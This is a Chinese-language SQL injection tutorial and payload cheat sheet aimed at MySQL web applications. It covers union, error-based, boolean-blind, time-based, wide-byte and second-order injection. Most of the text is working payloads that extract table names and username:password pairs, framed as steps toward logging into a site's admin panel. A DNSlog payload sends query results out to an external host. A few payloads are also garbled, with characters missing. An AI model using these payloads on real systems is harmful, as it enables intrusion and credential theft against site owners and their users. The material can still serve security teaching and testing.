SQL注入详解
前言
关于SQL的定义以及相关的这里就不在介绍了 相关资料某度或者CSDN都有 这里直接进入操作步骤
SQL注入流程
判断闭合方式
要想执行注入操作 第一步自然是要找寻注入点
一般在页面 有关搜索 添加信息 修改信息,同时URL有明显的传参的时候(不包括post方式由后端执行),可以基本判定可能存在注入点。
例如 www.xxx.com?id=1
这里很明显的可以看出 参数为数字(但是不能直接确定为整型,也可能为字符型)
判断参数为字符型还是整型的最简单的方法就是 ?id=1+1
如果为整型 那么?id1+1等同于?id=2 会正常执行
如果为字符型 那么?id=1+1等同于?id=‘1+1’ 等同于?id=1(因为后面不识别的会当做0处理 即1+0)
在判断出参数类型后 就需要判断闭合方式了 闭合方式决定是否能进行下一步的操作
一般不实用SQLMAP等工具来测试闭合的话 手动测试只有一个个的去测试了
常见的闭合方式有:‘1’ “1” (1) (‘1’) (“1”)等等 剩下的自己去测试就行
记得测试的时候 语句末尾要加注释符号 避免语句执行失败(有关注释被过滤的情况后面再说)
这里举一个测试闭合的例子
www.xxx.com?id=1' --+
注入点的位置分类
GET方式注入
参数直接显示在浏览器地址栏 这个可以自行百度
POST方式注入
一般使用POST方式传参的 数据操作基本都是在后端 这个注入的难度相比GET方式注入难了许多 建议使用burp suite重发测试闭合方式
cookie和http头部注入
二者都需要使用到Burp suite或者HackBar来操作 这个后面到二次注入部分再细说
搜索框和登录框
本质上还是get或者post方式的区别 看看就好 判断注入点可以考虑
注入思路
在确定了正确的闭合方式后,就可以获取相应的信息了(这里先不考虑有对SQL注入做过滤的情况)
mysql高于5.0的版本 优先可以获取information_schema表的信息 这个表存放所有的数据库名以及各个数据库下的表名以及字段名等等。
低于5.0的版本 就需要先获取到当前数据库的信息 再通过数据库信息来获取库下表数据以及字段数据了
后面的内容 都基于mysql5.0以上版本来说明,这也是目前主流mysql应用的最低版本对照了
获取数据思路: 总表->库名->表名->字段名->字段内容
注入过程:判断注入点->爆库信息->爆表信息->对敏感表进行爆字段以及字段内容->查找web后台界面->使用获得的信息登录进行相关操作。
获取的方式可以根据实际情况来选择 这里顺带提一下SQL注入的几种方式:联合注入,布尔盲注,报错注入,延时注入,宽字节注入,二次注入
注入方式
联合注入
联合注入使用的是union的关键字 功能是 执行union两边的语句
在确定了闭合方式之后 要先判断有几个回显位,或者说是字段 判断正确后才能正确执行联合注入
使用order by来判断表中有几个字段 正确的话就会正常回显页面
下面给出使用示例
?id=1’ order by 3 --+
在判断出有几个字段之后 使用联合注入来查看是否正常显示
使用示例:?id=1’ union select 1,2,3--+
可能这么写对于一些刚接触的小白有点不理解 这里换个简单点的方式说明一下
例如目前的这个参数传入的是数据表user user中有三个字段 分别是id,name,passwd
当你正确闭合 且查询的参数在数据库中有这对应的三个值时 页面会正常显示字段所代表的值
但是联合注入会执行union两边的sql语句 页面却只有对应字段的一个显示位置 那么这时候 只需要将原本成立的查询不成立 那么就会显示你所想要显示的值了 下面放截图来帮助理解
回显位的相关说明
当正常查询时 三个字段的值为在数据库中查询到的值
使用联合注入 并且正确查询时 因为页面对应的字段只能显示一个值 所以即时union后面的 sql语句正确 也只会显示先查到的值 但是在NP里面是都显示的
所以 只需要让前面的查询语句不成立 那么它对应的值就是空 后面正常的语句就可执行
简单的使用联合注入查询当前数据库
当然 这个payload放2号位或者3号位都可以 只要是你正常回显值的位置就可以
联合注入一些响应的payload
1.查询表名
1) 获取当前数据的表名
?id=-1' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=database() --+
2) 获取任意单个表名
?id=-1' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1 --+
3) 获取多个表名
?id=-1' union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() --+
2.查询user表中有哪些字段名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user' --+
3.查询字段中的内容
1) 字段内容
?id=-1' union select 1,username,3,password,5,6,7,8 from user --+
2) 查询任意字段内容
?id=-1' union select 1,username,3,password,5,6,7,8 from user limit 0,1--+
3) 查询多个字段内容
?id=-1' union select 1,group_concat(username,':',password),3,4,5,6,7,8 from user --+
报错注入
extractvalue()报错
说明
extractvalue() 从目标XML中返回包含所查询值的字符串
格式:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串
返回结果限制字符长度是32位
使用示例
1). 获取MySQL的版本
admin' and extractvalue(1, concat('^',(select version()),'^')) #
2). 获取MySQL的数据库
admin' and extractvalue(1, concat('^',(select database()),'^')) #
3). 获取任意表
admin' and extractvalue(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'^')) #
4). 获取所有数据表
admin' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
5). 获取表字段
admin' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user'),'^')) #
6). 获取表中的字段内容
admin' and extractvalue(1, concat('^',(select concat(username,':',password) from user limit 0,1),'^')) #
updatexml()报错
说明
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml的最大长度是32位的,所以有所局限
如果密码长度超过了32位就不会被显示出来。(可以使用substr来灵活显示)
使用示例
1). 获取MySQL的版本
admin' and updatexml(1, concat('^',(select version()),'^'),3) #
2). 获取MySQL的数据库
admin' and updatexml(1, concat('^',(select database()),'^'),3) #
3). 获取任意表
admin' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'^'),3) #
4). 获取所有数据表
admin' and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),3) #
5). 获取表字段
admin' and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user'),'^'),3) #
6). 获取表中的字段内容
admin' and updatexml(1, concat('^',(select concat(username,':',password) from user limit 0,1),'^'),3) #
floor()报错
说明
使用floor报错是基于利用表主键冲突来实现报错 这个需要一定的理解
这里放上讲解的链接https://cloud.tencent.com/developer/article/1589759
大致的原理就是 利用floor()向下取整的功能 指定生成0跟1两个数 在添加进表的时候使其冲突报错
这个自己去看 我自己也是理解但是不懂怎么去说 实际上 上面两个报错基本就够用了
使用示例
select count(),(floor(rand(0)2))x from table group by x;
select count(*), concat(payload), '-', floor(rand(0)*2))别名 from information_schema.tables group by 别名
select count(*) from 表名 group by concat((payload),'连接符',floor(rand(0)*2))
布尔盲注
说明
布尔盲注的特征是 它没有回显位 只有差异性的页面 要么正常显示 要么不显示 判断是否注入正确就是根据页面的差异来进行判断 通常能够使用布尔盲注的页面 也可以使用延时注入
注入过程
同样先判断是参数类型以及闭合方式后再进行注入操作 不过由于没有回显位 所以只能通过相应的数据来进行测试
比如 正确闭合后为?id=1' --+
那么此时可以使用and条件来判断数据库组成 这里假定数据库为test
substr(str,开始,截取长度)
substr函数的功能是 对一个字符串进行截取 后面两个参数为开始位和截取的长度
databse()的功能是获取当前数据库名 那么substr(database(),1,1)呢?这里自行理解
通过以上综合 我们可以判断一个数据库的名字 在只有页面差异的情况下
构造的语句为 ?id=1' and substr(database(),1,1)='t'
因为假定的数据库为test 且两边都成立 所以页面正常回显 反之 有一边不成立 那就不正常显示页面
建议使用ascii码 覆盖包括符号的数据库名
?id=1' and (select ascii(substr((database()),1,1)))=0到128
延时注入
说明
跟布尔盲注差不多 也是通过条件成立来判断回显
不同的事 延时注入常用于不论正确或者错误都只有一个页面的情况
if(a,b,c) 功能类似三元运算 当a成立的时候 返回b 不成立的时候 返回c
构造的语句为:?id=1' and if(ascii(substr(database(), 1,1)) = 97, sleep(4),1) --+
成立的话 页面加载的时间就是自定义的4秒 sleep()功能是设置响应时间
宽字节注入
说明
原理: 前端输入%df时,首先经过addslashes()转义变成了%df%5c%27,之后在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码,即%df%5c被编码成了“運”,而单引号就逃逸了出来,从而形成了注入漏洞
使用示例
1.判断几个字段
?id=1%df' order by 3 --+
2.查询表里有几个字段
?id=-1%df' union select 1,2,3 --+
3.查询库名
?id=-1%df' union select 1,database(),3 --+
4.查询表名
?id=-1%df' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1 --+
5.查询多个表名
?id=-1%df' union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1 --+
以下为URL编码:
%27---------单引号
%20---------空格
%23---------#号
%5c---------/反斜杠
最后放上一些常用的payload
SQL注入备忘表
一 . 联合注入
列出所有数据库 :
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
列出(数据库:test)中所有的表
limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='test' limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
列出(数据库:test 表:admin )中所有的字段
imit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='test' and TABLE_NAME='t10' limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
列出(数据库:test 表:admin )中所有的字段内容
limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
二 . 报错注入
请注意,如果需要全部显示数据库需要用到substr函数
select substr(字符串,1,截取长度)
select substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,7);
floor报错 :
select count(),(floor(rand(0)2))x from table group by x;
select count(*), concat(payload), '-', floor(rand(0)*2))别名 from information_schema.tables group by 别名
select count(*) from 表名 group by concat((payload),'连接符',floor(rand(0)*2))
获取总共多少数据库
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
列出数据库
单个列出 :
and(select 1 from (select count(*),concat(concat((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)y)
查询表和字段直接把联合注入的payload放进去就可以了
and(select 1 from (select count(*),concat(concat((payload),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
ExtractValue报错
and extractvalue(1, (concat(0x7e,(payload),0x7e))
and extractvalue(1, concat(0x7e,(select @@version),0x7e))
UpdateXML报错
and updatexml(1, (concat(0x7e,(payload),0x7e)),1)
and updatexml(1, (concat(0x7e,(select user()),0x7e)),1)
三 .布尔注入 :
and (select ascii(substr((payload), 1, 1)))>105
四 . 时间注入 :
if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)
五 .宽字节注入
GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节
如果使用了类似于set names gbk这样得语句,此时mysql数据库就会将
Ascii大于128(%df)得字符当作是汉字字符得一部分,从而能吃掉\,引入单引号或者双引号
六 .二次注入
利用数据库不取'\'的特性 串改数据库中原有账户的信息
七. DNSlog注入
select 1, load_file(concat('\\\\',(payload),'.xxx. dnslog.cn \\abc'))--+
连接目标网站 加载名为abc的文件 没有的话就返回payload的信息到目标网站最前端
select 1, load_file(concat('\\\\',(select database()),'.xxx. dnslog.cn \\abc'))--+